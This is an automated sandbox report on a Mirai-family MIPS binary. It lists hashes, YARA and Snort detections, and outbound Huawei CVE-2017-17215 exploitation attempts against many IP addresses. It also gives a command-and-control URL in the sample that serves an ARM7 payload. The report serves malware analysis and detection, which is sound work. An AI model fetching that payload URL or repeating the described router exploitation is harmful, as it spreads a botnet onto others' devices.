Edit tour

Linux Analysis Report
notabotnet.mips

Overview

General Information

Sample Name:	notabotnet.mips
Analysis ID:	679629
MD5:	a2af0d91b6e84e614eda94b4e7b8cac4
SHA1:	10c1dee864fb8fdb1770f87065c72b4acef91368
SHA256:	7601ce34f58f7f8a7a046a0682a406e05ebe72f2cb0a3938cb166d1f3dfd2e6e
Tags:	Mirai
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679629
Start date and time: 06/08/202207:22:28	2022-08-06 07:22:28 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	notabotnet.mips
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal88.troj.linMIPS@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/notabotnet.mips
PID:	6226
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	xXxSlicexXxxVEGA.
Standard Error:

Process Tree

system is lnxubuntu20

notabotnet.mips (PID: 6226, Parent: 6121, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/notabotnet.mips

notabotnet.mips New Fork (PID: 6228, Parent: 6226)

notabotnet.mips New Fork (PID: 6229, Parent: 6226)

notabotnet.mips New Fork (PID: 6232, Parent: 6229)

notabotnet.mips New Fork (PID: 6233, Parent: 6229)

notabotnet.mips New Fork (PID: 6235, Parent: 6229)

notabotnet.mips New Fork (PID: 6239, Parent: 6229)

notabotnet.mips New Fork (PID: 6241, Parent: 6229)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
notabotnet.mips	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x17e8c:$xo1: Dfs`eeh&<'9 0x17f04:$xo1: Dfs`eeh&<'9 0x17f78:$xo1: Dfs`eeh&<'9 0x17fe8:$xo1: Dfs`eeh&<'9 0x18034:$xo1: Dfs`eeh&<'9
notabotnet.mips	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007feda045a000.00007feda045b000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6228.1.00007feda045a000.00007feda045b000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6226.1.00007feda0400000.00007feda0419000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x17e8c:$xo1: Dfs`eeh&<'9 0x17f04:$xo1: Dfs`eeh&<'9 0x17f78:$xo1: Dfs`eeh&<'9 0x17fe8:$xo1: Dfs`eeh&<'9 0x18034:$xo1: Dfs`eeh&<'9
6226.1.00007feda0400000.00007feda0419000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6228.1.00007feda0400000.00007feda0419000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x17e8c:$xo1: Dfs`eeh&<'9 0x17f04:$xo1: Dfs`eeh&<'9 0x17f78:$xo1: Dfs`eeh&<'9 0x17fe8:$xo1: Dfs`eeh&<'9 0x18034:$xo1: Dfs`eeh&<'9
6228.1.00007feda0400000.00007feda0419000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6226.1.00007feda045a000.00007feda045b000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x528:$xo1: Dfs`eeh&<'9 0x5a4:$xo1: Dfs`eeh&<'9 0x61c:$xo1: Dfs`eeh&<'9 0x690:$xo1: Dfs`eeh&<'9 0x6e0:$xo1: Dfs`eeh&<'9
6232.1.00007feda0400000.00007feda0419000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x17e8c:$xo1: Dfs`eeh&<'9 0x17f04:$xo1: Dfs`eeh&<'9 0x17f78:$xo1: Dfs`eeh&<'9 0x17fe8:$xo1: Dfs`eeh&<'9 0x18034:$xo1: Dfs`eeh&<'9
6232.1.00007feda0400000.00007feda0419000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: notabotnet.mips PID: 6226	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x1139:$xo1: Dfs`eeh&<'9 0x11af:$xo1: Dfs`eeh&<'9 0x1223:$xo1: Dfs`eeh&<'9 0x1292:$xo1: Dfs`eeh&<'9 0x12e7:$xo1: Dfs`eeh&<'9 0x135c:$xo1: Dfs`eeh&<'9 0x13cf:$xo1: Dfs`eeh&<'9 0x143d:$xo1: Dfs`eeh&<'9 0x1487:$xo1: Dfs`eeh&<'9 0x152f:$xo1: Dfs`eeh&<'9 0x54b5:$xo1: Dfs`eeh&<'9 0x552c:$xo1: Dfs`eeh&<'9 0x55a1:$xo1: Dfs`eeh&<'9 0x5611:$xo1: Dfs`eeh&<'9 0x563d:$xo1: Dfs`eeh&<'9 0x56b3:$xo1: Dfs`eeh&<'9 0x5727:$xo1: Dfs`eeh&<'9 0x5796:$xo1: Dfs`eeh&<'9 0x57e1:$xo1: Dfs`eeh&<'9 0x588b:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.mips PID: 6226	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: notabotnet.mips PID: 6228	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x1741:$xo1: Dfs`eeh&<'9 0x17b7:$xo1: Dfs`eeh&<'9 0x182b:$xo1: Dfs`eeh&<'9 0x189a:$xo1: Dfs`eeh&<'9 0x18ef:$xo1: Dfs`eeh&<'9 0x1964:$xo1: Dfs`eeh&<'9 0x19d7:$xo1: Dfs`eeh&<'9 0x1a45:$xo1: Dfs`eeh&<'9 0x1a8f:$xo1: Dfs`eeh&<'9 0x1b37:$xo1: Dfs`eeh&<'9 0x2023:$xo1: Dfs`eeh&<'9 0x209a:$xo1: Dfs`eeh&<'9 0x210f:$xo1: Dfs`eeh&<'9 0x217f:$xo1: Dfs`eeh&<'9 0x21ab:$xo1: Dfs`eeh&<'9 0x2221:$xo1: Dfs`eeh&<'9 0x2295:$xo1: Dfs`eeh&<'9 0x2304:$xo1: Dfs`eeh&<'9 0x234f:$xo1: Dfs`eeh&<'9 0x23f9:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.mips PID: 6228	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: notabotnet.mips PID: 6232	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x6ba:$xo1: Dfs`eeh&<'9 0x731:$xo1: Dfs`eeh&<'9 0x7a6:$xo1: Dfs`eeh&<'9 0x816:$xo1: Dfs`eeh&<'9 0x842:$xo1: Dfs`eeh&<'9 0x8b8:$xo1: Dfs`eeh&<'9 0x92c:$xo1: Dfs`eeh&<'9 0x99b:$xo1: Dfs`eeh&<'9 0x9e6:$xo1: Dfs`eeh&<'9 0xa90:$xo1: Dfs`eeh&<'9 0x5826:$xo1: Dfs`eeh&<'9 0x589c:$xo1: Dfs`eeh&<'9 0x5910:$xo1: Dfs`eeh&<'9 0x597f:$xo1: Dfs`eeh&<'9 0x59d4:$xo1: Dfs`eeh&<'9 0x5a49:$xo1: Dfs`eeh&<'9 0x5abc:$xo1: Dfs`eeh&<'9 0x5b2a:$xo1: Dfs`eeh&<'9 0x5b74:$xo1: Dfs`eeh&<'9 0x5c1c:$xo1: Dfs`eeh&<'9
Process Memory Space: notabotnet.mips PID: 6232	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 10 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.90.218

Timestamp:	192.168.2.23156.226.90.21852826372152835222 08/06/22-07:23:16.432753
SID:	2835222
Source Port:	52826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.119.160

Timestamp:	192.168.2.23156.250.119.16041654372152835222 08/06/22-07:23:27.011828
SID:	2835222
Source Port:	41654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.214.103.132

Timestamp:	192.168.2.23197.214.103.13250728372152835222 08/06/22-07:23:53.676873
SID:	2835222
Source Port:	50728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.849581532012811 08/06/22-07:23:14.095323
SID:	2012811
Source Port:	49581
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.92.165

Timestamp:	192.168.2.23156.250.92.16538646372152835222 08/06/22-07:23:40.260566
SID:	2835222
Source Port:	38646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.80.94

Timestamp:	192.168.2.23156.244.80.9459200372152835222 08/06/22-07:23:39.639416
SID:	2835222
Source Port:	59200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.11.15

Timestamp:	192.168.2.23156.226.11.1552072372152835222 08/06/22-07:23:43.667446
SID:	2835222
Source Port:	52072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.51.25

Timestamp:	192.168.2.23156.245.51.2550694372152835222 08/06/22-07:23:39.952103
SID:	2835222
Source Port:	50694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.79.89

Timestamp:	192.168.2.23156.254.79.8953116372152835222 08/06/22-07:24:04.605598
SID:	2835222
Source Port:	53116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.132

Timestamp:	192.168.2.23156.235.102.13237424372152835222 08/06/22-07:23:43.645321
SID:	2835222
Source Port:	37424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.122.40

Timestamp:	192.168.2.23156.250.122.4049938372152835222 08/06/22-07:23:27.033187
SID:	2835222
Source Port:	49938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.27.134

Timestamp:	192.168.2.23156.226.27.13433390372152835222 08/06/22-07:24:04.960889
SID:	2835222
Source Port:	33390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.72.40

Timestamp:	192.168.2.23156.244.72.4047196372152835222 08/06/22-07:23:53.439628
SID:	2835222
Source Port:	47196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.109.94

Timestamp:	192.168.2.23156.244.109.9445444372152835222 08/06/22-07:23:29.654745
SID:	2835222
Source Port:	45444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.90.241

Timestamp:	192.168.2.23156.226.90.24160120372152835222 08/06/22-07:23:53.442635
SID:	2835222
Source Port:	60120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.103.88

Timestamp:	192.168.2.23156.250.103.8844052372152835222 08/06/22-07:24:04.660457
SID:	2835222
Source Port:	44052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.11.12

Timestamp:	192.168.2.23156.224.11.1233306372152835222 08/06/22-07:24:04.797279
SID:	2835222
Source Port:	33306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.133.165

Timestamp:	192.168.2.23156.241.133.16536340372152835222 08/06/22-07:23:39.554681
SID:	2835222
Source Port:	36340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.113.198

Timestamp:	192.168.2.23156.250.113.19853300372152835222 08/06/22-07:23:27.034689
SID:	2835222
Source Port:	53300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.48.52

Timestamp:	192.168.2.23156.254.48.5241742372152835222 08/06/22-07:23:29.567245
SID:	2835222
Source Port:	41742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.74.27

Timestamp:	192.168.2.23156.250.74.2750752372152835222 08/06/22-07:23:16.433919
SID:	2835222
Source Port:	50752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.82.58

Timestamp:	192.168.2.23156.226.82.5851288372152835222 08/06/22-07:23:53.744332
SID:	2835222
Source Port:	51288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.29.157

Timestamp:	192.168.2.23156.224.29.15750298372152835222 08/06/22-07:24:10.214896
SID:	2835222
Source Port:	50298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.84.107

Timestamp:	192.168.2.23156.226.84.10759142372152835222 08/06/22-07:23:53.439665
SID:	2835222
Source Port:	59142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.91.214

Timestamp:	192.168.2.23156.241.91.21454440372152835222 08/06/22-07:23:33.249369
SID:	2835222
Source Port:	54440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.110.224

Timestamp:	192.168.2.23156.244.110.22454676372152835222 08/06/22-07:23:59.102835
SID:	2835222
Source Port:	54676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.125.36

Timestamp:	192.168.2.23156.241.125.3655416372152835222 08/06/22-07:23:53.476267
SID:	2835222
Source Port:	55416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.55.200

Timestamp:	192.168.2.23156.245.55.20053560372152835222 08/06/22-07:24:04.679076
SID:	2835222
Source Port:	53560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.98.226

Timestamp:	192.168.2.23156.226.98.22635010372152835222 08/06/22-07:23:33.273831
SID:	2835222
Source Port:	35010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.79.6

Timestamp:	192.168.2.23156.250.79.649098372152835222 08/06/22-07:23:27.034355
SID:	2835222
Source Port:	49098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.18.224

Timestamp:	192.168.2.23156.250.18.22450598372152835222 08/06/22-07:23:53.729151
SID:	2835222
Source Port:	50598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.20.31

Timestamp:	192.168.2.23156.230.20.3152534372152835222 08/06/22-07:23:27.220458
SID:	2835222
Source Port:	52534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.63.45

Timestamp:	192.168.2.23156.238.63.4542572372152835222 08/06/22-07:23:27.305057
SID:	2835222
Source Port:	42572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.61.235

Timestamp:	192.168.2.23197.234.61.23542192372152835222 08/06/22-07:23:31.722171
SID:	2835222
Source Port:	42192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.66.242

Timestamp:	192.168.2.23156.241.66.24244510372152835222 08/06/22-07:23:29.651725
SID:	2835222
Source Port:	44510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.9.158

Timestamp:	192.168.2.23156.250.9.15837962372152835222 08/06/22-07:24:04.676872
SID:	2835222
Source Port:	37962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.94

Timestamp:	192.168.2.23156.235.97.9458838372152835222 08/06/22-07:23:39.548075
SID:	2835222
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.96.124

Timestamp:	192.168.2.23156.235.96.12434606372152835222 08/06/22-07:23:43.645351
SID:	2835222
Source Port:	34606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.20.130

Timestamp:	192.168.2.23156.224.20.13050850372152835222 08/06/22-07:23:53.608016
SID:	2835222
Source Port:	50850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.13.140

Timestamp:	192.168.2.23156.224.13.14060786372152835222 08/06/22-07:24:02.348307
SID:	2835222
Source Port:	60786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.34.63

Timestamp:	192.168.2.23156.245.34.6360668372152835222 08/06/22-07:23:39.647282
SID:	2835222
Source Port:	60668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.119.22

Timestamp:	192.168.2.23156.244.119.2252904372152835222 08/06/22-07:23:27.039494
SID:	2835222
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.103.26

Timestamp:	192.168.2.23156.226.103.2647596372152835222 08/06/22-07:23:27.316869
SID:	2835222
Source Port:	47596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.90.38

Timestamp:	192.168.2.23156.241.90.3842742372152835222 08/06/22-07:23:39.649878
SID:	2835222
Source Port:	42742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.96.33

Timestamp:	192.168.2.23156.226.96.3347718372152835222 08/06/22-07:23:40.227571
SID:	2835222
Source Port:	47718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.65.100

Timestamp:	192.168.2.23156.250.65.10041802372152835222 08/06/22-07:23:52.152505
SID:	2835222
Source Port:	41802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.115.61

Timestamp:	192.168.2.23156.250.115.6136870372152835222 08/06/22-07:23:33.241907
SID:	2835222
Source Port:	36870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.124.47

Timestamp:	192.168.2.23156.244.124.4735554372152835222 08/06/22-07:23:39.639516
SID:	2835222
Source Port:	35554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.59.247

Timestamp:	192.168.2.23156.245.59.24755638372152835222 08/06/22-07:23:40.240392
SID:	2835222
Source Port:	55638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.131.18

Timestamp:	192.168.2.23197.246.131.1855182372152835222 08/06/22-07:23:50.863914
SID:	2835222
Source Port:	55182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.116.151

Timestamp:	192.168.2.23156.250.116.15154632372152835222 08/06/22-07:23:53.717828
SID:	2835222
Source Port:	54632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlConnection: closeContent-Length: 134Server: SDK 4.3.2.0 UPnP/1.0 MiniUPnPd/1.6Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL was not found on this server.</BODY></HTML>

Source: notabotnet.mips	String found in binary or memory: http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7
Source: notabotnet.mips	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: notabotnet.mips	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

